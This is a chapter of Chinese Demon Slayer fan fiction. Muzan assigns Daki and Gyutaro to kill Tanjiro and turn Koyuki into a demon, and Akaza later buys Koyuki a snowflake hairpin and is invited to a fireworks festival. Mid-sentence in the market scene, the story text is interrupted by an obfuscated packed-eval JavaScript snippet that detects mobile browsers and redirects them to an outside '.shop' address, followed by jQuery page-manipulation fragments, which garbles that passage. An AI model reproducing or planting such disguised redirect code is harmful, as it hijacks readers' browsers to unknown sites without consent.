23.我们一起去看烟花吧

作品:《[鬼灭之刃/狛恋]重新攻略亡夫哥

    太鼓、篠笛和三味线的音乐散去,瑰丽华彩也散去。又一晚的花魁道中结束。


    百年来,她已经走过数不清多少条花魁之道。


    长长的振袖,缓之又缓的外八字步,前呼后拥的人群,桃红,孔雀蓝,蛇绿,金鱼金,绮饰纷纶,华彩洪流。


    在往日的往日,她的心中,似乎一度很向往那盛大场面。然而身处其中,才发现没什么特别的,歌弦会沉默,颜色会成为虚妄,层层叠叠的华锦,也只是蔽人眼目假象。


    红尘滚滚扬起又滚滚沉下。


    捧着振袖前厚重的太鼓结,堕姬回到房中。


    幽冷的月色,却照出一室奢华中另一道身影。


    “无惨大人!”顾不得振袖的厚重,也顾不得三齿木屐的高耸,堕姬惊喜万分,匆忙走到那位大人身前,俯身,伏在他的膝上。


    无惨顺势拂过她雪白的颊,如同拂过一袭华美丝绸。


    华美的丝绸,华美的衣装,蔽体的假象。他看重的,一直是这花魁皮囊假象下的……


    鬼王道:“让妓夫太郎也出来。”


    “是、是,无惨大人,我这就让哥哥出来……”鬼王信手洒下一点关切,而后直接让她唤出兄长,对此,堕姬似乎完全没有察觉。抑或即便察觉,她也毫无怨言。花魁纤长的手,绕过一侧窄肩,抚向背后。


    投映在纸拉门上女子的窈窕身影,很快,从她背上分裂出一道高大但佝偻的黑影。


    鬼王真正看重的上弦之六出现。


    从妹妹躯壳中爬出来的妓夫太郎,恭敬地单膝跪在鬼王身前。


    平时有什么命令,无惨大人一直是让妹妹转达给他,为什么今日需要特意召见他?


    “上弦之三一直在关东一带,杀灶门炭治郎我本来打算让他完成。但他近来太过松懈,我给他布置了另外的任务,”想起被派到长崎去的猗窝座,无惨道,“刚好你们两个也在东京,尽早把那个小鬼杀了,不要再拖。”


    原来是为了让他们去杀那个鬼杀队的家伙。


    杀一个小鬼倒是不难,只是要主动走出游郭,他有点不太……


    转瞬将心中的想法压下,妓夫太郎正要回答遵命,却听见一旁的妹妹开口了。


    “上弦之三大人最近不知道在干什么哦,我和哥哥也觉得他懈怠了。您不是想把鬼杀队里一个叫什么素山什么什么的剑士变成鬼吗,他好像也一直没有完成……”堕姬伏在无惨膝上,层层叠叠华服逶迤于地,华服中的人,如梅花般抬起艳丽面容来,“这个小任务我和哥哥也可以做到,杀灶门炭治郎的时候顺手的事。不用再交给猗窝座大人啦。”一如一个天真的孩子,志在必得地竞争家长的注意力。


    妓夫太郎倏然抬眼,怎奈堕姬已将话说完。


    鬼王猩红的瞳微微眯起。


    素山什么什么?


    他这才想起,几个月前自己是交代过猗窝座这么一件事情。在无限列车上有个很有制药天赋的女人。


    让猗窝座去把一个女剑士变成鬼,过去这么久了还没办成?


    鬼王冷笑一下,道:“行,那这个任务就交给你和妓夫太郎了,杀了灶门炭治郎之后,顺便把那个女人变成鬼。”以示对她上进的嘉奖,无惨抬起手,轻轻摸了摸堕姬满头珠翠下的黑发。


    下一刻,他的目光又转向跪在地上的妓夫太郎:“还有,你们两个在东京停留得太久了,完成这次任务后,是时候离开游郭去找蓝色彼岸花了。你们潜伏在游郭一百多年也没有打听到任何消息。”


    他说到“没有打听到任何消息”时,阴森的威压渐渐渗出,令上弦六兄妹二人一瞬僵硬。


    无惨恩威并施,三言两语敲打了兄妹二人一番后,又道:“就当作是提前给你们的一点嘉奖,我会再分给你们我的血液。”


    那个鬼杀队少年杀了下弦一,派猗窝座前去也没有成功处决,这回,鬼王决定保险一点,加强一番部属的力量。


    但被他唤到跟前的,只有妓夫太郎一人。


    鲜红如蛇信的鬼之血缓缓汇入上弦之六的掌心。


    *


    “我才不想去游郭以外的地方。但一切都是为了大人的心愿,也只好努力了。”鬼王离开后,堕姬仰躺在兄长怀中,小小地抱怨了一下。


    垂首看着她的兄长,面孔如同黑影中铜绿的鬼将塑像。异神的大殿中,伫立侍候的妖鬼将领。在幽黑的彼岸,除了信奉他们那邪异的神祗,他另一个也是仅有的一个任务是……


    “妹妹,你刚才……不该在无惨大人面前打那个小报告。”


    他另一个也是仅有的一个任务是让一切危害远离他唯一的家人。


    “让那个女剑士转化成鬼,我们说不定会和上弦三结下梁子。”


    他怀中的堕姬却笑道:“谁在乎他怎么想啊。把他的宠物变成鬼,我看他反过来感谢我们还来不及。”


    妹妹说得似乎也有道理。尽管上弦三喜欢那个人类,但那个人类变成鬼不是更符合上弦三的利益么?至多只是,他和妹妹侵犯了上弦三的领地,惹得那个疯子不快而已。


    如果上弦三要出气,凭自己的实力还不至于保护不了妹妹。他随意搭在窗台上的臂,苍青色血管跳动。


    “张开嘴。”


    “咦?”


    虽然不知兄长的用意,堕姬还是微微张开了花朵般红唇。


    下一刻,艳丽的血液,已从妓夫太郎冰冷掌心渗出,细流般缓缓淌入堕姬唇中。


    涓涓细流,细意缓慢,生怕有一滴血飚溅于外,弄脏了妹妹心爱的振袖一般。


    堕姬将血喝下,长睫轻眨:“哥哥,大人分给你的血液,你还要分一半出来给我吗?”


    妓夫太郎随意答道:“这有什么,我所有东西都会和你共享。”


    其实,她刚才是对无惨大人只给哥哥血液有一点小介意。不过她和哥哥之间暂时还有差距,这也是没办法的事情。


    然而哥哥捕捉到她的失落,将珍贵的血液分了一半出来。


    她舔舔红唇,血染过的唇鲜红欲滴:“虽然觉得游郭外面很无聊,不过只要是和哥哥在一起,去哪里我都无所谓。等找到大人想要的蓝色彼岸花了,我们立刻就回来。”


    兄长枯枝般的指腹,轻轻擦过她唇上一珠鲜红,而后将那一滴她没吞下的鬼血含入口中。


    他道:“所有鬼找了几百年也没找到的蓝色彼岸花,说不定没有那么容易找到。”


    堕姬纤长的手环上妓夫太郎的颈:“没那么容易就没那么容易,大不了找久一点。借此机会到外面游玩一番也不错。”


    那红唇中继续吐露更多幽艳危险话语:“上次没吃成的那几个大学生,出去后我要把他们碎尸万段。学生们长得真不错呢,青春靓丽,细皮嫩肉,肯定很好吃。”


    她雪白的额,抵在哥哥黑斑数点的额上:“只要我们两个在一起,肯定不会有做不成的事情。”


    *


    月底,三十一号。还有三天。


    如果鬼王知道他所说的“月底”在上弦之三的理解里是本月最后一天,七月三十一号,大约能立刻怒从心头起。


    但眼下听他说三十一号要离开东京的却是一个完全不会对猗窝座动怒的人。


    明明说了请他不要再跟着她,他还是跟了上来——虽然说,事出有因,他过几天就要走了。


    万幸,这几天他没有选择她的同伴在时出现,而是等她一日任务结束、她“落单”时再优游地现身。


    但……


    恋雪道:“我每天都这样找个借口说我要自己独处,很奇怪哦。显得我很不合群呀。”


    走在她身旁的鬼眯起暗金色的瞳:“合什么群?有必


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336822|192271||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要融入那群弱者里面吗?”


    恋雪真是拿他没辙了。


    “虽然猗窝座先生很强大,但也不应该用这种蔑视的语气评价别人,”她挽着他的臂,漫步在华灯下,叹了口气,“算了,看在你过几天要走的份上,我不说你了。”


    鬼舞辻无惨派他去找一个什么东西。尽管她觉得他完全没必要去理会那个魔鬼布置的任务,但他心中,似乎还残留着一点对那魔鬼的忠诚。


    罢了,他只是要去寻找某物,没有屠戮无辜。


    在他启程前的倒数几天里,他特意来找她,集市的灯火和人声笑语围拢着他们。


    深粉色头发的男人,淡粉羽织的女子,仿佛只是一对在集市中闲逛的寻常爱侣。


    忽然,他的目光停驻。


    她也顺着他目光看去,原来是一个贩售工艺品的小店。


    一枚雪花形状的发簪,陈列在纯朴的白木木架上,闪着晶晶的淡蓝的光。


    隔着淡金的灯火,仿佛也有一片雪花落在她心中。很久之前,她也有一枚相似的发簪,在那清贫的岁月里,她为数不多的饰品中最喜欢的一件。


    身旁的恋人忽然开口:“你盯着那个发簪看干什么?喜欢的话我就买给你,虽然只是个便宜的小玩意。”


    啊,怎么又倒打一耙,明明是他在盯着看,她才顺着他的目光看去。


    唉,他现在就是这样,能让他稍微坦诚一点很不容易。


    雪花发饰很快被猗窝座买下,淡蓝的发饰,经由他深蓝的手别到她乌黑发间。


    饰品,他送给过她很多。黄金的,蓝宝的,祖母绿的,粉碧玺的,东洋或西洋出品,全都雕琢精致,价值不菲。从不关心珠宝首饰的斗之鬼,当然对这些一窍不通,只不过是下级鬼上供给他,他便全都堆砌到她眼前。一如一个虔诚的信徒,一有一点财富便全都献到他忠贞爱护的天女像前。那些宝光辉煌珠玉,不及她身上一点柔淡光晕,他只要看见她,便对那些华美外物通通视而不见。


    但眼前目下,他第一次看清她发间一件微不足道的发饰。


    只是这样一件廉价的,玻璃的发簪。


    像雪花落在她秀浓发间。


    另一个世纪吹来的风,苍凉地吹过鬼的心灵。在那个遥远的时代,他似乎曾经想过,要是能变成落在她发间的雪花,就此消散就好了。


    为什么会有那种奇怪的想法?


    猗窝座微微偏过头去:“这发簪不过是个不值钱的玩意。你如果喜欢这个造型,等我回来之后,我会找个工匠用昂贵的材料再给你打造一件一模一样的。”


    一旁的店主有点翻白眼了,小伙子你前脚买了这发簪后脚又说是个不值钱的玩意真的好吗?


    还是那位小姐有礼貌一点。


    恋雪摇了摇头,笑道:“不用了,它很漂亮,我很喜欢。”


    而且那时候……你在山下为我买来的那枚发簪,也并不是什么昂贵之物。即使不名贵,我也对它十分钟爱,每日都佩戴着。


    忽然间,她却意识到了什么。


    “猗窝座先生,你的……”你的血鬼术,为什么会是雪花?


    话未说完,她又打住了。她隐约能猜到,倘若要他揭晓这个秘密,势必会翻涌起他心中巨大的痛苦。


    但她的声音再轻柔他也听得一清二楚:“我的什么?”


    “没什么,我就是想说——”恋雪匆忙地四下环顾一下,终于找到能将话题岔开的东西,工艺品小店旁边的烟花宣传画,“八月似乎有花火大会,等你的任务结束后,我们一起来看吧。”


    招贴画上五彩纷呈,流光飞舞,东风夜放花千树。


    她微笑一下,用着给凶猛的大猫顺毛的语气:“猗窝座先生,你不是说你喜欢看烟花吗?我真诚地,邀请你和我一起看,希望你能接受我的邀请。”